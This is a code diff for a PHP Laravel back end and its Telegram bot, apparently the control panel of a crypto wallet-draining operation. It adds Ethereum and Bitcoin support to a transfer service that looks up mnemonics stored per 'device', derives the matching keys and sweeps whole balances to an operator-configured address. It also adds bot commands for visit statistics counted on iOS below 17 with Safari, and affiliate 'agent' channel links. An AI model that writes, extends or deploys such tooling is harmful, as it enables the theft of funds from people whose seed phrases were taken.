'BTC' => 'coruna.transfer.btc_fee_reserve',
|
||||
default => null,
|
||||
};
|
||||
$scale = match ($asset) {
|
||||
'ETH' => 18,
|
||||
'BTC' => 8,
|
||||
default => 6,
|
||||
};
|
||||
|
||||
if ($reserveKey !== null) {
|
||||
$reserve = (string) config($reserveKey, '0');
|
||||
if ($reserve !== '' && bccomp($reserve, '0', $scale) > 0) {
|
||||
$balance = bcsub($balance, $reserve, $scale);
|
||||
$balance = rtrim(rtrim($balance, '0'), '.');
|
||||
if ($balance === '' || str_starts_with($balance, '-')) {
|
||||
$balance = '0';
|
||||
@@ -105,7 +220,7 @@ class TransferService
|
||||
}
|
||||
}
|
||||
|
||||
if (bccomp($balance, '0') <= 0) {
|
||||
if (bccomp($balance, '0', $scale) <= 0) {
|
||||
throw new RuntimeException("No transferable {$asset} balance");
|
||||
}
|
||||
|
||||
@@ -122,11 +237,20 @@ class TransferService
|
||||
->orderBy('id')
|
||||
->get(['device_id', 'source']);
|
||||
|
||||
// ETH addresses are often stored with mixed-case checksum.
|
||||
if ($addressRows->isEmpty() && str_starts_with(strtolower($fromAddress), '0x')) {
|
||||
$addressRows = WalletAddress::query()
|
||||
->whereRaw('LOWER(address) = ?', [strtolower($fromAddress)])
|
||||
->orderBy('id')
|
||||
->get(['device_id', 'source']);
|
||||
}
|
||||
|
||||
if ($addressRows->isEmpty()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20));
|
||||
$caseInsensitive = $driver->chainId() === 'eth';
|
||||
|
||||
foreach ($addressRows as $row) {
|
||||
$mnemonics = WalletMnemonic::query()
|
||||
@@ -148,7 +272,11 @@ class TransferService
|
||||
}
|
||||
for ($index = 0; $index <= $maxIndex; $index++) {
|
||||
try {
|
||||
if ($driver->deriveAddress($phrase, $index) === $fromAddress) {
|
||||
$derived = $driver->deriveAddress($phrase, $index);
|
||||
$match = $caseInsensitive
|
||||
? strcasecmp($derived, $fromAddress) === 0
|
||||
: $derived === $fromAddress;
|
||||
if ($match) {
|
||||
return ['mnemonic' => $phrase, 'index' => $index];
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
@@ -163,13 +291,23 @@ class TransferService
|
||||
|
||||
private function assertAmountWithinLimit(string $amount, string $asset): void
|
||||
{
|
||||
if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount) || bccomp($amount, '0') <= 0) {
|
||||
$decimals = match ($asset) {
|
||||
'ETH' => 18,
|
||||
'BTC' => 8,
|
||||
default => 6,
|
||||
};
|
||||
if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount) || bccomp($amount, '0', $decimals) <= 0) {
|
||||
throw new RuntimeException('Invalid amount');
|
||||
}
|
||||
|
||||
$maxKey = $asset === 'TRX' ? 'coruna.transfer.max_trx' : 'coruna.transfer.max_usdt';
|
||||
$maxKey = match ($asset) {
|
||||
'TRX' => 'coruna.transfer.max_trx',
|
||||
'ETH' => 'coruna.transfer.max_eth',
|
||||
'BTC' => 'coruna.transfer.max_btc',
|
||||
default => 'coruna.transfer.max_usdt',
|
||||
};
|
||||
$max = (string) config($maxKey, '0');
|
||||
if ($max !== '' && $max !== '0' && bccomp($amount, $max) > 0) {
|
||||
if ($max !== '' && $max !== '0' && bccomp($amount, $max, $decimals) > 0) {
|
||||
throw new RuntimeException("Amount exceeds max {$asset} limit ({$max})");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -10,8 +10,7 @@ use Illuminate\Support\Facades\Log;
|
||||
/**
|
||||
* Live on-chain balance refresh for wallet_addresses.
|
||||
*
|
||||
* Tron mainnet: only TRX (native) + USDT (official TRC20) are queried.
|
||||
* BTC / ETH / BNB have no canonical native assets on Tron — skipped.
|
||||
* Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20). BTC: BTC only.
|
||||
*/
|
||||
class WalletBalanceService
|
||||
{
|
||||
@@ -30,10 +29,75 @@ class WalletBalanceService
|
||||
|
||||
return match ($chain) {
|
||||
'TRON', 'TRX' => $this->refreshTron($address),
|
||||
'ETH', 'ETHEREUM' => $this->refreshEth($address),
|
||||
'BTC', 'BITCOIN' => $this->refreshBtc($address),
|
||||
default => false,
|
||||
};
|
||||
}
|
||||
|
||||
public function refreshEth(WalletAddress $address): bool
|
||||
{
|
||||
$addr = trim((string) $address->address);
|
||||
if ($addr === '') {
|
||||
return false;
|
||||
}
|
||||
|
||||
try {
|
||||
$driver = $this->chains->resolve('eth');
|
||||
$address->eth = $driver->getNativeBalance($addr);
|
||||
$contract = trim((string) config('coruna.eth.usdt_contract', ''));
|
||||
if ($contract !== '') {
|
||||
$address->usdt = $driver->getTokenBalance($addr, $contract);
|
||||
}
|
||||
$address->save();
|
||||
|
||||
Log::info('eth balance refresh ok', [
|
||||
'wallet_address_id' => $address->id,
|
||||
'address' => $addr,
|
||||
'eth' => $address->eth,
|
||||
'usdt' => $address->usdt,
|
||||
]);
|
||||
|
||||
return true;
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('eth balance refresh failed: '.$e->getMessage(), [
|
||||
'wallet_address_id' => $address->id,
|
||||
'address' => $addr,
|
||||
]);
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public function refreshBtc(WalletAddress $address): bool
|
||||
{
|
||||
$addr = trim((string) $address->address);
|
||||
if ($addr === '') {
|
||||
return false;
|
||||
}
|
||||
|
||||
try {
|
||||
$driver = $this->chains->resolve('btc');
|
||||
$address->btc = $driver->getNativeBalance($addr);
|
||||
$address->save();
|
||||
|
||||
Log::info('btc balance refresh ok', [
|
||||
'wallet_address_id' => $address->id,
|
||||
'address' => $addr,
|
||||
'btc' => $address->btc,
|
||||
]);
|
||||
|
||||
return true;
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('btc balance refresh failed: '.$e->getMessage(), [
|
||||
'wallet_address_id' => $address->id,
|
||||
'address' => $addr,
|
||||
]);
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public function refreshTron(WalletAddress $address): bool
|
||||
{
|
||||
$addr = trim((string) $address->address);
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
<?php
|
||||
|
||||
namespace App\Telegram\Handlers;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
use SergiX44\Nutgram\Telegram\Types\Keyboard\CopyTextButton;
|
||||
use SergiX44\Nutgram\Telegram\Types\Keyboard\InlineKeyboardButton;
|
||||
use SergiX44\Nutgram\Telegram\Types\Keyboard\InlineKeyboardMarkup;
|
||||
|
||||
class ChannelCommand
|
||||
{
|
||||
public function __construct(
|
||||
private readonly TelegramBotContext $context,
|
||||
) {}
|
||||
|
||||
public function __invoke(Nutgram $bot): void
|
||||
{
|
||||
$query = Channel::query()->with('user:id,username')->orderByDesc('id');
|
||||
$agent = $this->context->agent();
|
||||
if ($agent !== null) {
|
||||
$query->where('user_id', $agent->id);
|
||||
}
|
||||
|
||||
$channels = $query->limit(30)->get();
|
||||
|
||||
if ($channels->isEmpty()) {
|
||||
$bot->sendMessage('暂无渠道');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$lines = ['📎 渠道列表(点按钮复制链接)', ''];
|
||||
$markup = InlineKeyboardMarkup::make();
|
||||
|
||||
foreach ($channels as $i => $channel) {
|
||||
$remark = trim((string) ($channel->remark ?? ''));
|
||||
$remarkLabel = $remark !== '' ? $remark : '—';
|
||||
$owner = $channel->agentLabel();
|
||||
$status = $channel->isEnabled() ? '启用' : '停用';
|
||||
$lines[] = ($i + 1).'. '.$channel->channel_id;
|
||||
$lines[] = ' 备注: '.$remarkLabel.' | 归属: '.$owner.' | '.$status;
|
||||
|
||||
$links = $channel->supportLinks();
|
||||
$link = $links[0] ?? ('/web/'.$channel->channel_id.'/support.html');
|
||||
if (strlen($link) > 256) {
|
||||
$link = substr($link, 0, 256);
|
||||
}
|
||||
|
||||
$btnText = ($remark !== '' ? mb_substr($remark, 0, 18) : substr($channel->channel_id, 0, 8)).' · 复制链接';
|
||||
$markup->addRow(InlineKeyboardButton::make(
|
||||
text: $btnText,
|
||||
copy_text: CopyTextButton::make($link),
|
||||
));
|
||||
}
|
||||
|
||||
if ($channels->count() >= 30) {
|
||||
$lines[] = '';
|
||||
$lines[] = '(仅显示最近 30 条)';
|
||||
}
|
||||
|
||||
$bot->sendMessage(
|
||||
implode("\n", $lines),
|
||||
reply_markup: $markup,
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
<?php
|
||||
|
||||
namespace App\Telegram\Handlers;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Services\DashboardStatsService;
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
class DataCommand
|
||||
{
|
||||
public function __construct(
|
||||
private readonly DashboardStatsService $stats,
|
||||
private readonly TelegramBotContext $context,
|
||||
) {}
|
||||
|
||||
public function __invoke(Nutgram $bot, ?string $args = null): void
|
||||
{
|
||||
$parts = preg_split('/\s+/', trim((string) $args)) ?: [];
|
||||
$parts = array_values(array_filter($parts, fn ($p) => $p !== ''));
|
||||
|
||||
$days = null;
|
||||
$channelId = '';
|
||||
|
||||
if (isset($parts[0]) && in_array($parts[0], ['1', '7', '30'], true)) {
|
||||
$days = $parts[0];
|
||||
$channelId = $parts[1] ?? '';
|
||||
} elseif (isset($parts[0])) {
|
||||
if (preg_match('/^[0-9a-f]{32}$/i', $parts[0])) {
|
||||
$channelId = $parts[0];
|
||||
} else {
|
||||
$bot->sendMessage(
|
||||
"Usage: /data [1|7|30] [channelId]\n"
|
||||
."Omit days for today. Omit channelId for all channels."
|
||||
);
|
||||
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if ($channelId !== '' && ! preg_match('/^[0-9a-f]{32}$/i', $channelId)) {
|
||||
$bot->sendMessage('channelId must be a 32-char hex string.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$channelId = strtolower($channelId);
|
||||
$agent = $this->context->agent();
|
||||
|
||||
if ($agent !== null && $channelId !== '') {
|
||||
$owned = Channel::query()
|
||||
->where('user_id', $agent->id)
|
||||
->where('channel_id', $channelId)
|
||||
->exists();
|
||||
if (! $owned) {
|
||||
$bot->sendMessage('⛔ 无权查看该渠道');
|
||||
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
$range = $this->stats->rangeFromDays($days);
|
||||
} catch (\InvalidArgumentException $e) {
|
||||
$bot->sendMessage($e->getMessage());
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$data = $this->stats->collect([
|
||||
'range' => $range,
|
||||
'channel_id' => $channelId,
|
||||
'channel_exact' => $channelId !== '',
|
||||
'agent' => $agent,
|
||||
]);
|
||||
|
||||
$lines = [
|
||||
'📊 访问统计',
|
||||
'区间: '.$data['from'].' ~ '.$data['to'],
|
||||
'渠道: '.($channelId !== '' ? $channelId : ($agent ? '本代理全部' : '全部')),
|
||||
'',
|
||||
'总设备: '.$data['total'],
|
||||
'新增设备: '.$data['new_count'],
|
||||
'活跃设备: '.$data['active_count'],
|
||||
'页面 PV: '.$data['effective_pv'].' / '.$data['pv'].' (有效/全部)',
|
||||
'页面 UV: '.$data['effective_uv'].' / '.$data['uv'].' (有效/全部)',
|
||||
'有效口径: iOS<17 + Safari',
|
||||
'',
|
||||
'按系统:',
|
||||
];
|
||||
|
||||
foreach ($data['by_os'] as $row) {
|
||||
$lines[] = sprintf('• %s PV %d UV %d %s%%', $row['label'], $row['pv'], $row['uv'], $row['pct']);
|
||||
}
|
||||
|
||||
$lines[] = '';
|
||||
$lines[] = '按 iOS 版本:';
|
||||
if ($data['by_ios_version'] === []) {
|
||||
$lines[] = '• 暂无';
|
||||
} else {
|
||||
foreach ($data['by_ios_version'] as $row) {
|
||||
$lines[] = sprintf('• %s PV %d UV %d %s%%', $row['label'], $row['pv'], $row['uv'], $row['pct']);
|
||||
}
|
||||
}
|
||||
|
||||
$bot->sendMessage(implode("\n", $lines));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
<?php
|
||||
|
||||
namespace App\Telegram\Handlers;
|
||||
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
class HelpCommand
|
||||
{
|
||||
public function __construct(
|
||||
private readonly TelegramBotContext $context,
|
||||
) {}
|
||||
|
||||
public function __invoke(Nutgram $bot): void
|
||||
{
|
||||
$lines = [
|
||||
'📖 可用指令(仅指定群管理员)',
|
||||
'',
|
||||
'/help',
|
||||
' 查看本帮助',
|
||||
'',
|
||||
'/ping',
|
||||
' 健康检查',
|
||||
'',
|
||||
'/data [1|7|30] [channelId]',
|
||||
' 查询访问统计(同仪表盘)',
|
||||
' 天数默认当天;渠道默认全部',
|
||||
' 例: /data',
|
||||
' 例: /data 7',
|
||||
' 例: /data 30 <channelId>',
|
||||
'',
|
||||
'/channel',
|
||||
' 列出渠道:ID、备注、归属;点按钮复制链接',
|
||||
];
|
||||
|
||||
if ($this->context->isOfficial()) {
|
||||
$lines = array_merge($lines, [
|
||||
'',
|
||||
'/transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount]',
|
||||
' 从设备地址转出到配置收款地址(仅官方)',
|
||||
' 按地址识别链:T…=Tron,0x…=ETH,1…/3…/bc1…=BTC',
|
||||
' 省略 amount 则转全部;默认 Tron→USDT / ETH→ETH / BTC→BTC',
|
||||
' 例: /transfer Txxx USDT 10',
|
||||
' 例: /transfer 0x… ETH',
|
||||
' 例: /transfer 1… BTC 0.01',
|
||||
]);
|
||||
} else {
|
||||
$lines = array_merge($lines, [
|
||||
'',
|
||||
'(当前为代理机器人:仅可查看本代理渠道数据,不支持 /transfer)',
|
||||
]);
|
||||
}
|
||||
|
||||
$bot->sendMessage(implode("\n", $lines));
|
||||
}
|
||||
}
|
||||
@@ -18,37 +18,55 @@ class TransferCommand
|
||||
|
||||
if ($parts === []) {
|
||||
$bot->sendMessage(
|
||||
"Usage: /transfer <fromAddress> [TRX|USDT] [amount]\n"
|
||||
."Omit amount to transfer all. Default asset: USDT.\n"
|
||||
.'To = TRANSFER_TO_ADDRESS (env).'
|
||||
"Usage: /transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount]\n"
|
||||
."Omit amount to transfer all. Chain is inferred from address.\n"
|
||||
."Defaults: Tron→USDT, ETH→ETH, BTC→BTC.\n"
|
||||
.'To = per-chain TRANSFER_TO_ADDRESS* (env).'
|
||||
);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$from = $parts[0];
|
||||
$asset = 'USDT';
|
||||
$chain = $this->detectChain($from);
|
||||
if ($chain === null) {
|
||||
$bot->sendMessage('Unrecognized address. Supported: Tron (T…), ETH (0x…), BTC (1…/3…/bc1…).');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$asset = $this->defaultAsset($chain);
|
||||
$amount = null;
|
||||
$allowed = $this->assetsForChain($chain);
|
||||
|
||||
if (count($parts) === 2) {
|
||||
$second = strtoupper($parts[1]);
|
||||
if (in_array($second, ['TRX', 'USDT'], true)) {
|
||||
if (in_array($second, $allowed, true)) {
|
||||
$asset = $second;
|
||||
} elseif ($this->isAmount($parts[1])) {
|
||||
} elseif ($this->isAmount($parts[1], match ($chain) {
|
||||
'eth' => 18,
|
||||
'btc' => 8,
|
||||
default => 6,
|
||||
})) {
|
||||
$amount = $parts[1];
|
||||
} else {
|
||||
$bot->sendMessage('Second arg must be TRX, USDT, or an amount.');
|
||||
$bot->sendMessage('Second arg must be '.implode('|', $allowed).', or an amount.');
|
||||
|
||||
return;
|
||||
}
|
||||
} elseif (count($parts) >= 3) {
|
||||
$asset = strtoupper($parts[1]);
|
||||
if (! in_array($asset, ['TRX', 'USDT'], true)) {
|
||||
$bot->sendMessage('Asset must be TRX or USDT.');
|
||||
if (! in_array($asset, $allowed, true)) {
|
||||
$bot->sendMessage('Asset must be '.implode(' or ', $allowed).' for '.$chain.'.');
|
||||
|
||||
return;
|
||||
}
|
||||
if (! $this->isAmount($parts[2])) {
|
||||
$decimals = match ($asset) {
|
||||
'ETH' => 18,
|
||||
'BTC' => 8,
|
||||
default => 6,
|
||||
};
|
||||
if (! $this->isAmount($parts[2], $decimals)) {
|
||||
$bot->sendMessage('Invalid amount.');
|
||||
|
||||
return;
|
||||
@@ -57,9 +75,9 @@ class TransferCommand
|
||||
}
|
||||
|
||||
$label = $amount === null ? "ALL {$asset}" : "{$amount} {$asset}";
|
||||
$bot->sendMessage("⏳ Transferring {$label} from {$from} …");
|
||||
$bot->sendMessage("⏳ Transferring {$label} from {$from} ({$chain}) …");
|
||||
|
||||
$result = $this->transfers->handle('tron', $from, $amount, $asset);
|
||||
$result = $this->transfers->handle($chain, $from, $amount, $asset, $this->operatorLabel($bot));
|
||||
if (! ($result['ok'] ?? false)) {
|
||||
$bot->sendMessage('❌ '.($result['error'] ?? 'Transfer failed'));
|
||||
|
||||
@@ -68,6 +86,7 @@ class TransferCommand
|
||||
|
||||
$bot->sendMessage(implode("\n", [
|
||||
'✅ Transfer submitted',
|
||||
'Chain: '.$chain,
|
||||
'From: '.$result['from'],
|
||||
'To: '.$result['to'],
|
||||
'Amount: '.$result['amount'].' '.$result['asset'],
|
||||
@@ -75,8 +94,61 @@ class TransferCommand
|
||||
]));
|
||||
}
|
||||
|
||||
private function isAmount(string $value): bool
|
||||
private function detectChain(string $address): ?string
|
||||
{
|
||||
return (bool) preg_match('/^\d+(\.\d{1,6})?$/', $value);
|
||||
$address = trim($address);
|
||||
if (preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $address)) {
|
||||
return 'tron';
|
||||
}
|
||||
if (preg_match('/^0x[0-9a-fA-F]{40}$/', $address)) {
|
||||
return 'eth';
|
||||
}
|
||||
if (preg_match('/^(bc1|tb1)[a-z0-9]{8,87}$/i', $address)) {
|
||||
return 'btc';
|
||||
}
|
||||
if (preg_match('/^[13][1-9A-HJ-NP-Za-km-z]{24,33}$/', $address)) {
|
||||
return 'btc';
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function defaultAsset(string $chain): string
|
||||
{
|
||||
return match ($chain) {
|
||||
'eth' => 'ETH',
|
||||
'btc' => 'BTC',
|
||||
default => 'USDT',
|
||||
};
|
||||
}
|
||||
|
||||
/** @return list<string> */
|
||||
private function assetsForChain(string $chain): array
|
||||
{
|
||||
return match ($chain) {
|
||||
'eth' => ['ETH', 'USDT'],
|
||||
'btc' => ['BTC'],
|
||||
default => ['TRX', 'USDT'],
|
||||
};
|
||||
}
|
||||
|
||||
private function isAmount(string $value, int $decimals = 6): bool
|
||||
{
|
||||
return (bool) preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $value);
|
||||
}
|
||||
|
||||
private function operatorLabel(Nutgram $bot): string
|
||||
{
|
||||
$user = $bot->user();
|
||||
$id = $user?->id ?? $bot->userId();
|
||||
$username = $user?->username;
|
||||
|
||||
if ($username) {
|
||||
return "telegram:{$id}@{$username}";
|
||||
}
|
||||
|
||||
$name = trim((string) ($user?->first_name ?? ''));
|
||||
|
||||
return $name !== '' ? "telegram:{$id}({$name})" : "telegram:{$id}";
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,16 +2,28 @@
|
||||
|
||||
namespace App\Telegram\Middleware;
|
||||
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
use SergiX44\Nutgram\Telegram\Properties\ChatType;
|
||||
|
||||
/**
|
||||
* Allow only the configured owner group/supergroup for the current bot context
|
||||
* (official system chat or the active agent's chat_id).
|
||||
*/
|
||||
class AuthorizedChat
|
||||
{
|
||||
public function __construct(
|
||||
private readonly TelegramBotContext $context,
|
||||
) {}
|
||||
|
||||
public function __invoke(Nutgram $bot, callable $next): mixed
|
||||
{
|
||||
$expected = (string) config('coruna.telegram.owner_chat_id', '');
|
||||
$expected = $this->context->expectedChatId();
|
||||
if ($expected === '') {
|
||||
Log::warning('telegram AuthorizedChat: TELEGRAM_OWNER_CHAT_ID empty');
|
||||
Log::warning('telegram AuthorizedChat: chat id empty', [
|
||||
'agent_id' => $this->context->agent()?->id,
|
||||
]);
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -21,6 +33,18 @@ class AuthorizedChat
|
||||
Log::info('telegram AuthorizedChat: chat rejected', [
|
||||
'chat_id' => $chatId,
|
||||
'expected' => $expected,
|
||||
'agent_id' => $this->context->agent()?->id,
|
||||
]);
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
$type = $bot->chat()?->type;
|
||||
$typeValue = $type instanceof ChatType ? $type->value : (string) $type;
|
||||
if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) {
|
||||
Log::info('telegram AuthorizedChat: not a group chat', [
|
||||
'chat_id' => $chatId,
|
||||
'type' => $typeValue,
|
||||
]);
|
||||
|
||||
return null;
|
||||
|
||||
@@ -2,9 +2,15 @@
|
||||
|
||||
namespace App\Telegram\Middleware;
|
||||
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
use SergiX44\Nutgram\Telegram\Properties\ChatMemberStatus;
|
||||
use SergiX44\Nutgram\Telegram\Properties\ChatType;
|
||||
|
||||
/**
|
||||
* Allow only group/supergroup administrators (or the creator).
|
||||
* Must run after {@see AuthorizedChat}.
|
||||
*/
|
||||
class GroupAdminOnly
|
||||
{
|
||||
public function __invoke(Nutgram $bot, callable $next): mixed
|
||||
@@ -15,19 +21,38 @@ class GroupAdminOnly
|
||||
return null;
|
||||
}
|
||||
|
||||
$type = $bot->chat()?->type;
|
||||
$typeValue = $type instanceof ChatType ? $type->value : (string) $type;
|
||||
if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) {
|
||||
Log::info('telegram GroupAdminOnly: rejected non-group chat', [
|
||||
'chat_id' => $chatId,
|
||||
'type' => $typeValue,
|
||||
]);
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
$member = $bot->getChatMember($chatId, $userId);
|
||||
} catch (\Throwable) {
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('telegram GroupAdminOnly: getChatMember failed', [
|
||||
'chat_id' => $chatId,
|
||||
'user_id' => $userId,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
$bot->sendMessage('⛔ Unable to verify admin status.');
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
$status = $member?->status;
|
||||
$ok = $status === ChatMemberStatus::CREATOR
|
||||
|| $status === ChatMemberStatus::ADMINISTRATOR
|
||||
|| $status === 'creator'
|
||||
|| $status === 'administrator';
|
||||
$statusValue = $status instanceof ChatMemberStatus ? $status->value : (string) $status;
|
||||
$ok = in_array($statusValue, [
|
||||
ChatMemberStatus::CREATOR->value,
|
||||
ChatMemberStatus::ADMINISTRATOR->value,
|
||||
'creator',
|
||||
'administrator',
|
||||
], true);
|
||||
|
||||
if (! $ok) {
|
||||
$bot->sendMessage('⛔ Only group admins can use this command.');
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
<?php
|
||||
|
||||
namespace App\Telegram\Middleware;
|
||||
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
/** Blocks /transfer (and similar) on agent bots. */
|
||||
class OfficialBotOnly
|
||||
{
|
||||
public function __invoke(Nutgram $bot, callable $next): mixed
|
||||
{
|
||||
if (! app(TelegramBotContext::class)->isOfficial()) {
|
||||
$bot->sendMessage('⛔ /transfer 仅限官方系统群使用');
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
return $next($bot);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
<?php
|
||||
|
||||
namespace App\Telegram\Middleware;
|
||||
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
/** Blocks /transfer (and similar) on agent bots. */
|
||||
class OfficialOnly
|
||||
{
|
||||
public function __construct(
|
||||
private readonly TelegramBotContext $context,
|
||||
) {}
|
||||
|
||||
public function __invoke(Nutgram $bot, callable $next): mixed
|
||||
{
|
||||
if (! $this->context->isOfficial()) {
|
||||
$bot->sendMessage('⛔ /transfer 仅限官方机器人使用');
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
return $next($bot);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
<?php
|
||||
|
||||
namespace App\Telegram;
|
||||
|
||||
use App\Models\User;
|
||||
|
||||
/**
|
||||
* Request-scoped Telegram bot identity.
|
||||
* null agent = official system bot; otherwise an agent-configured bot.
|
||||
*/
|
||||
class TelegramBotContext
|
||||
{
|
||||
private ?User $agent = null;
|
||||
|
||||
public function setAgent(?User $agent): void
|
||||
{
|
||||
$this->agent = $agent;
|
||||
}
|
||||
|
||||
public function agent(): ?User
|
||||
{
|
||||
return $this->agent;
|
||||
}
|
||||
|
||||
public function isOfficial(): bool
|
||||
{
|
||||
return $this->agent === null;
|
||||
}
|
||||
|
||||
public function isAgent(): bool
|
||||
{
|
||||
return $this->agent !== null;
|
||||
}
|
||||
|
||||
public function expectedChatId(): string
|
||||
{
|
||||
if ($this->agent !== null) {
|
||||
return trim((string) ($this->agent->chat_id ?? ''));
|
||||
}
|
||||
|
||||
return trim((string) config('coruna.telegram.owner_chat_id', ''));
|
||||
}
|
||||
|
||||
public static function webhookSecretFor(User $agent): string
|
||||
{
|
||||
return hash_hmac('sha256', 'telegram-agent:'.$agent->id, (string) config('app.key'));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
<?php
|
||||
|
||||
namespace App\Telegram;
|
||||
|
||||
use App\Models\User;
|
||||
use App\Telegram\Handlers\ChannelCommand;
|
||||
use App\Telegram\Handlers\DataCommand;
|
||||
use App\Telegram\Handlers\HelpCommand;
|
||||
use App\Telegram\Handlers\PingCommand;
|
||||
use App\Telegram\Handlers\TransferCommand;
|
||||
use App\Telegram\Middleware\AuthorizedChat;
|
||||
use App\Telegram\Middleware\GroupAdminOnly;
|
||||
use App\Telegram\Middleware\OfficialOnly;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
class TelegramRegistrar
|
||||
{
|
||||
public function __construct(
|
||||
private readonly TelegramBotContext $context,
|
||||
) {}
|
||||
|
||||
/** Official system bot — includes /transfer. Does not mutate bot context. */
|
||||
public function registerOfficial(Nutgram $bot): void
|
||||
{
|
||||
$this->registerShared($bot, allowTransfer: true);
|
||||
}
|
||||
|
||||
/** Agent bot — no /transfer; binds request context to this agent. */
|
||||
public function registerAgent(Nutgram $bot, User $agent): void
|
||||
{
|
||||
$this->context->setAgent($agent);
|
||||
$this->registerShared($bot, allowTransfer: false);
|
||||
}
|
||||
|
||||
private function registerShared(Nutgram $bot, bool $allowTransfer): void
|
||||
{
|
||||
// HandlerGroup::middleware() unshifts — register GroupAdminOnly first so
|
||||
// AuthorizedChat ends up outermost (chat allowlist before admin check).
|
||||
$bot->group(function (Nutgram $bot) use ($allowTransfer) {
|
||||
$bot->onCommand('help', HelpCommand::class)
|
||||
->description('List available commands');
|
||||
|
||||
$bot->onCommand('ping', PingCommand::class)
|
||||
->description('Health check');
|
||||
|
||||
$bot->onCommand('data', DataCommand::class)
|
||||
->description('Visit stats (today). Optional: /data 1|7|30 [channelId]');
|
||||
|
||||
$bot->onCommand('data {args}', DataCommand::class)
|
||||
->where('args', '.+')
|
||||
->description('Visit stats for 1/7/30 days, optional channelId');
|
||||
|
||||
$bot->onCommand('channel', ChannelCommand::class)
|
||||
->description('List channels with copyable support links');
|
||||
|
||||
if ($allowTransfer) {
|
||||
$bot->onCommand('transfer {args}', TransferCommand::class)
|
||||
->where('args', '.+')
|
||||
->middleware(OfficialOnly::class)
|
||||
->description('Transfer TRX or USDT from a device address (omit amount = all)');
|
||||
}
|
||||
})
|
||||
->middleware(GroupAdminOnly::class)
|
||||
->middleware(AuthorizedChat::class);
|
||||
}
|
||||
}
|
||||
+22
-9
@@ -61,23 +61,36 @@ return [
|
||||
'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'),
|
||||
'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000),
|
||||
],
|
||||
// /transfer: from = command arg (device address); to = TRANSFER_TO_ADDRESS.
|
||||
'eth' => [
|
||||
'rpc_url' => env('ETH_RPC_URL', 'https://ethereum.publicnode.com'),
|
||||
'chain_id' => (int) env('ETH_CHAIN_ID', 1),
|
||||
// Official Tether USDT ERC20 (mainnet). Empty = skip token balance/transfer.
|
||||
'usdt_contract' => env('ETH_USDT_CONTRACT', '0xdAC17F958D2ee523a2206206994597C13D831ec7'),
|
||||
'usdt_decimals' => (int) env('ETH_USDT_DECIMALS', 6),
|
||||
'gas_limit' => env('ETH_GAS_LIMIT', ''),
|
||||
],
|
||||
'btc' => [
|
||||
// mempool.space-compatible REST root (…/api).
|
||||
'api_url' => env('BTC_API_URL', 'https://mempool.space/api'),
|
||||
// 0 = fetch recommended halfHourFee from API.
|
||||
'fee_rate' => (int) env('BTC_FEE_RATE', 0),
|
||||
],
|
||||
// /transfer: from = command arg (device address); to = per-chain TRANSFER_TO_ADDRESS_*.
|
||||
// Mnemonics resolved from wallet_mnemonics by address→device_id+source.
|
||||
'transfer' => [
|
||||
'to_address' => env('TRANSFER_TO_ADDRESS', ''),
